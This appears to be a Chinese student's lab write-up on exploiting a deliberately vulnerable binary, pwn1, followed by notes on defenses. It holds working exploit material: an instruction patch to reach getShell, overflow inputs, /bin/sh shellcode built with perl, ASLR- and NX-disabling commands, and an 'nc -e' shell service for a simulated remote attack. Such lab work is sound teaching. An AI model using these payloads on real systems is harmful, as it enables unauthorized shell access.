《网络对抗技术》Exp1 逆向破解实验
1 实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。
-
- 三个实践内容如下：
- 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
- 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
- 这几种思路，基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
- 三个实践内容如下：
2 基础知识点
1.反汇编指令 objdump -d xxx | more
-d表示反汇编，xxx为可执行文件，|为管道符，more为分页指令
2.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP汇编指令的机器码是“90”
JNE汇编指令的机器码是“75”
JE 汇编指令的机器码是“74”
JMP汇编指令的机器码是“eb”
CMP汇编指令的机器码是“39”
3.掌握反汇编与十六进制编程器
反汇编指令
objdump -d filename
objdump（object dump） 项目导出
-d(disassemble) 反汇编
filename 反汇编的可执行文件
如果我们想要以全屏幕的方式按页显示反汇编的内容，可以利用“管道”，即在反汇编指令后添加| more，这样我们就可以利用more的一些快捷键，如：Enter（向下翻滚一行），空格（向下滚动一屏），Q（退出命令）
十六进制编程器,是用来以16进制视图进行文本编辑的编辑工具软件。其实我们只需要用各系统都兼容的“vim”编辑器就可以实现十六进制编辑的功能。具体步骤如下：
- 输入命令vi pwn1查看可执行文件内容，为ASCII码形式显示；
- 输入:%!xxd将显示模式切换为16进制模式;
- 进行相关操作后，输入:%!xxd -r转换16进制为为ASCII码形式。
3 直接修改程序机器指令，改变程序执行流程
-
知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具
-
学习目标：理解可执行文件与机器指令
-
进阶：掌握ELF文件格式，掌握动态技术
步骤一：可执行文件反汇编并计算
objdump -d pwn1 | more
"call 8048491 "是汇编指令
指令将调用位于地址8048491处的foo函数；
其对应机器指令为“e8 d7ffffff”，e8即跳转之意。
本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，e8即挑战，CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29=8048491，就是foo的内存地址
main函数调用foo，对应机器指令为“ e8 d7ffffff”，
我们的目标是它调用getShell，将修改“d7ffffff”为，"getShell-80484ba"对应的补码。
用Windows计算器，直接 47d-4ba就能得到补码，是c3ffffff。
步骤二：修改可执行文件
cp pwn1 pwn2 //复制pwn1得到pwn2 vim pwn2 //进入vim编辑pwn2 以下操作在vim中操作（此时为乱码） 1.按下ESC 2.输入:%!xxd，将显示模式切换为16进制模式 3.输入/d7 //查找需要修改的地方（如果搜e8 d7注意要有空格，否则会搜索不到）可以多查找几次，以防有重复字段，一般关键词前后十个字节一致，就是查找目标值 4.按下i，插入模式，将d7改为c3 5.按下ESC，输入:%!xxd -r //转换16进制为原格式，这一步一定要做，否则在反编译时会提示格式错误 6.输入:wq，保存并退出 7.objdump -d pwn2 | more //对比确认
反编译验证一下：
步骤三：运行一下pwn1和pwn2：
- pwn1的功能是回显键盘输入；
- pwn2的功能是实现shell。
以上编辑操作也可以在图形化的16进制编程器中完成。
apt-get install wxhexeditor //安装wxhexedior
wxHexEditor //注意大小写，否则会显示command not found
4 通过构造输入参数，造成BOF攻击，改变程序执行流
- 知识要求：堆栈结构，返回地址
- 学习目标：理解攻击缓冲区的结果，掌握返回地址的获取
- 进阶：掌握ELF文件格式，掌握动态技术
步骤一：反汇编，了解程序的基本功能
原理：foo函数有漏洞：foo函数中给输入的字符串预留了28个字节的空间
在正常执行的情况下，call调用foo，同时在堆栈上压上返回地址值:80484ba
我们利用缓冲区溢出覆盖返回地址，使得程序转向我们预期的getshell，运行getshell
该可执行文件正常运行是调用如下函数foo，这个函数有Buffer overflow漏洞 08048491 <foo>: 8048491: 55 push %ebp 8048492: 89 e5 mov %esp,%ebp 8048494: 83 ec 38 sub $0x38,%esp 8048497: 8d 45 e4 lea -0x1c(%ebp),%eax 804849a: 89 04 24 mov %eax,(%esp) 这里读入字符串，但系统只预留了28字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址
步骤二：确认输入字符串哪几个字符会覆盖到返回地址
gdb pwn1 //如果没有安装gdb，则输入命令apt install gdb 以下内容为进入gdb调试器 r //r 表示运行（run） 输入测试 //不超过28个字节，则正常回显输出输入字符 //超过28个字节，则覆盖EIP info r //info 表示显示，r为寄存器（register），寄存器检查
步骤三：覆盖返回地址
getShell的内存地址，通过反汇编时可以看到，getshell函数的地址为: 0x0804847d。
接下来要确认下字节序，简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。
gdb pwn1 //以下操作在gdb中 break *0x804849d info break //查看地址 r //运行 info r //查看eip寄存器地址
对比之前 ==eip 0x34333231 0x34333231== ，正确应用输入 ==11111111222222223333333344444444\x7d\x84\x04\x08==。
步骤四：构造输入字符串
由于小端优先，而且输入字符串时以ASCII码输入，因此要转换为 \x7d\x84\x04\x08
由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以先生成包括这样字符串的一个文件。\x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input //由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以先生成包括这样字符串的一个文件。\x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。 xxd input //使用16进制查看指令xxd查看input文件的内容是否如预期 (cat input; cat) | ./pwn1 //将input的输入，通过管道符“|”，作为pwn1的输入
关于Perl： Perl是一门解释型语言，不需要预编译，可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中
补充：理解函数调用和堆栈
5 注入Shellcode并执行
步骤一：准备一段Shellcode
- shellcode就是一段机器指令（code）
- 通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），
- 所以这段机器指令被称为shellcode。
- 在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。
我们需要确定shellcode放哪，shellcode可能在EIP前或是EIP后，这取决于操作系统，此次实验放在EIP后面。
步骤二：安装execstack
execstack需要我们另外安装，在网络上的教程中，最终会出现 无法定位软件包 execstack 提示。
因此，我们使用老师给的压缩包prelink_0.0.20130503.orig.tar，步骤如下：
1 //把prelink_0.0.20130503.orig.tar放到kali虚拟机中 2 //在虚拟机中解压缩 3 //在解压缩文件中打开终端 4 sudo apt-get install libelf-dev 5 ./configure 6 make 7 sudo make install
步骤三：准备工作
堆栈可执行-->shellcode放在堆栈上，正常是不可执行的。
关闭地址随机化，目的：调试-->第1、2次调试中使用堆栈地址不变，一般堆栈随机化，防范多次调试。
关闭AL8R
execstack -s pwn1 //设置堆栈可执行 execstack -q pwn1 //查询文件的堆栈是否可执行 more /proc/sys/kernel/randomize_va_space sudo -s //否则权限不够 echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化，2为开启，0为关闭 more /proc/sys/kernel/randomize_va_space
步骤四：构造要注入的payload
- Linux下有两种基本构造攻击buf的方法：
- retaddr+nop+shellcode
- nop+shellcode+retaddr。
- 因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。
- 简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边
- 我们这个buf够放这个shellcode了
- 结构为：nops+shellcode+retaddr。
- nop一为是了填充，二是作为“着陆区/滑行区”。
- 我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode。
失败案例（坑）
最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
特别提醒：最后一个字符千万不能是\x0a。不然下面的操作就做不了了。
没有回车符是为了让程序停在gets获取字符串的函数前，相当于输入了字符没有按回车键，否则程序执行了gets就直接运行puts函数，就直接运行完了，没有机会停留在进程中让我们打开调试
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
接下来我们来确定\x4\x3\x2\x1到底该填什么。
打开一个终端注入这段攻击buf：
(cat input_shellcode;cat) | ./pwn1
再开另外一个终端，用gdb来调试pwn1这个进程。一定要另开一个终端！
建议打开root权限。
注意：查看esp寄存器，要根据自己的地址进行下面的操作！！！
ps -ef | grep pwn1 //找到pwn1的进程号是：5906，根据自己的结果进行调整pid号会变化 gdb //打开gdb调试器 //以下在gdb中进行 attach 5906 //绑定进程 //通过设置断点，来查看注入buf的内存地址 disassemble foo //断在这，这时注入的东西都大堆栈上了 //ret完，就跳到我们覆盖的retaddr那个地方了 break *0x080484ae //在另外一个终端中按下回车，这就是前面为什么不能以\x0a来结束 input_shellcode的原因。一定要在另一个终端！！！ c //继续 info r esp //查看esp寄存器，要根据自己的地址进行下面的操作！！！ x/16x 0xffffd5cc //看到 01020304了，再往前找28字节 x/16x 0xffffd5b0 //看到0xc0319090了，再向前4个字节即可 x/16x 0xffffd5ac //从这开始就是我们的Shellcode c //继续 //可以看到这个返回地址占位也是对的 q //退出gdb
向前4个字节，是eip占四个字节，而eip后面紧跟nops，nops的十六进制为0x909090
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode (cat input_shellcode;cat) | ./pwn1
结果显然是失败了
查找失败原因：
//与上面步骤类似 //在一个终端中输入 (cat input_shellcode;cat) | ./pwn1 //在另一个终端中输入 ps -ef | grep pwn1 gdb //以下在gdb中进行 attach 端口号 //与上一次不同 info r //查看寄存器 x/16x 0xffffd5b0 //对应地址，看起来buf没问题 si //si是step instruction的简写，表示运行一条指令 //也跳转到我们的shellcode了，那我们就一步步执行看哪步错 //出错了
以下是正确操作：
结构为：anything+retaddr+nops+shellcode。
看到 01020304了，就是返回地址的位置。shellcode就挨着，所以地址是 0xffffd5cc + 0x00000004 = 0xffffd5d0
每个人的情况不一样，因根据自己的情况修改命令。
perl -e 'print "A" x 32;print "\xd0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode //不同的电脑运行情况不同，根据实际情况修改命令，如下图红框所示 xxd input_shellcode (cat input_shellcode;cat) | ./pwn1
结果：攻击成功！
注意：
以上实践是在非常简单的一个预设条件下完成的：
（1）关闭堆栈保护（gcc -fno-stack-protector）
（2）关闭堆栈执行保护(execstack -s)
（3）关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
（4）在x32环境下
（5）在Linux实践环境
步骤五：结合nc模拟远程攻击
在同一台主机上做的实验；该实验最好在互相连通的两台Linux上做，将ip地址替换为主机1的IP即可。
下面为在一台主机上进行：
主机1，模拟一个有漏洞的网络服务：
nc -l 127.0.0.1 -p 28234 -e ./pwn1 //-l 表示listen, -p 后加端口号 -e 后加可执行文件，网络上接收的数据将作为这个程序的输入 //如果是两个虚拟机互联 ifconfig //查看ip地址，将127.0.0.1替换
主机2，连接主机1并发送攻击载荷：
(cat input_shellcode; cat) | nc 127.0.0.1 28234 //两个虚拟机互联则使用主机1的ip地址替换127.0.0.1 //然后输入shell指令，例如ls
两台主机上进行：
//主机1可以通过ifconfig进行查询IP地址 //主机一 nc -l -p 28234 -e ./pwn1 //主机二 (cat input_shellcode; cat) | nc 192.168.11.151 28234 //其中192.168.11.151为主机
遇到的问题：
在两台主机互联时，按照指令输入时，主机二一旦输入相应命令，主机一就会出现 invalid connection to [192.168.11.151] from (UNKNOWN) [192.168.11.153] 32974 ，在关闭虚拟机的防火墙后，仍存在这样的问题，关闭防火墙的命令为
sudo apt-get install ufw //安装 ufw disable //关闭防火墙
后来尝试：参考老师和同学的建议，在主机一的命令中隐去主机一的ip地址，解决了问题。隐去IP地址，能够避免主机存在多个IP地址，发送存在限制的问题
6 Bof攻击防御技术
步骤一：从防止注入的角度
在编译时，编译器在每次函数调用前后都加入一定的代码，用来设置和检测堆栈上设置的特定数字，以确认是否有bof攻击发生。
步骤二： 注入入了也不让运行
结合CPU的页面管理机制，通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上，也执行不了。
execstack -s pwn1 //把堆栈设置为可执行 execstack -q pwn1 //查询堆栈状态 //此时我们的攻击可以执行，如上实验 excstack -c pwn1 //把堆栈设置为不可执行 execstack -q pwn1 //查询堆栈状态 //此时我们的攻击不可执行了 //以下测试攻击 perl -e 'print "A" x 32;print "\xd0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode (cat input_shellcode;cat) | ./pwn1
为不影响第三步结果，因此要再次 execstack -s pwn1 ，将堆栈设为可执行。
步骤三：增加shellcode的构造难度
shellcode中需要猜测==返回地址==的位置，需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实：应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR，地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。
在前面的工作里面，我们把地址随机化关闭了，才达到了攻击成功的目的。
/proc/sys/kernel/randomize_va_space 用于控制Linux下 内存地址随机化机制（address space layout randomization)，有以下三种情况
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址，stack和vdso页面随机化。
2 - 表示在1的基础上增加栈（heap）的随机化。
echo "1" > /proc/sys/kernel/randomize_va_space //将mmap的基址，stack和vdso页面随机化 echo "2" > /proc/sys/kernel/randomize_va_space //在1的基础上增加栈（heap）的随机化。 more /proc/sys/kernel/randomize_va_space //查看 (cat input_shellcode;cat) | ./pwn1 //尝试攻击
从管理的角度
加强编码质量。注意边界检测。使用最新的安全的库函数。
7 实验收获与感想
在整个实验过程中，我先学习视频，边学边做笔记，但是掌握程度不够，通过实际操作才能真正理解输入命令和命令里面数据的意义，也遇到了很多问题，比如在修改./pwn2时，忘记:%!xxd -r转回格式，导致无法运行，再通过vi中转回格式，仍会存在格式问题，只能在保存前进行格式转换，gdb没有安装，输入apt install gdb进行安装，也有遇到权限问题，通过sudo -s命令进入root模式，也在老师的指导下，安装了execstack，也在查看寄存器和地址的过程，理解缓冲区溢出的工作原理，函数的调用和堆栈的内存存储方式，将老师演示的存储图掌握。在我尝试两个主机中结合nc模拟远程攻击，遇到了问题 invalid connection to [192.168.11.151] from (UNKNOWN) [192.168.11.153] 32914 根据查询资料，两台主机测试ping指令都能ping通，没有连接问题，也在同一局域网下，猜测是虚拟机防火墙问题，经过尝试证实猜测错误，而后参考同学和老师建议，修改主机一中命令，隐去主机的IP地址，成功解决问题。在做实验时，我们需要更加谨慎，学习每个步骤和每个参数的含义。
8 什么是漏洞？漏洞有什么危害？
答：本次实验的漏洞是指在输入时，没有进行边界测试，导致输入溢出缓冲区，覆盖EIP，执行我们预期的代码。
而在课程的学习中，我们学习到的漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷，存在技术缺陷或者程序问题，从而可以使攻击者能够在未授权的情况下访问或破坏系统，执行我们想要的程序。
危害：漏洞影响面逐步扩大，超高危漏洞比率大幅增加，漏洞修复率处于历史较低水平，威胁形势依然严峻。
1.程序的正常功能无法按照预期执行，对服务器的安全收到影响，执行任意系统命令，攻击者能直接控制目标服务器，危害的严重程度重大；
2.程序被非法控制和破坏，安装恶意软件，导致病毒传播；
3.可能会导致信息泄漏，身份信息没有隐私，重要信息泄露，造成损失，暴露服务器的信息，使攻击者能够通过泄露的信息入侵；
4.帐号密码泄漏，导致攻击者直接操作网站后台或数据库，操控一些可能有危害，邮件泄露会被垃圾邮件骚扰，被攻击者利用社会工程学手段获取更多信息，扩大危害。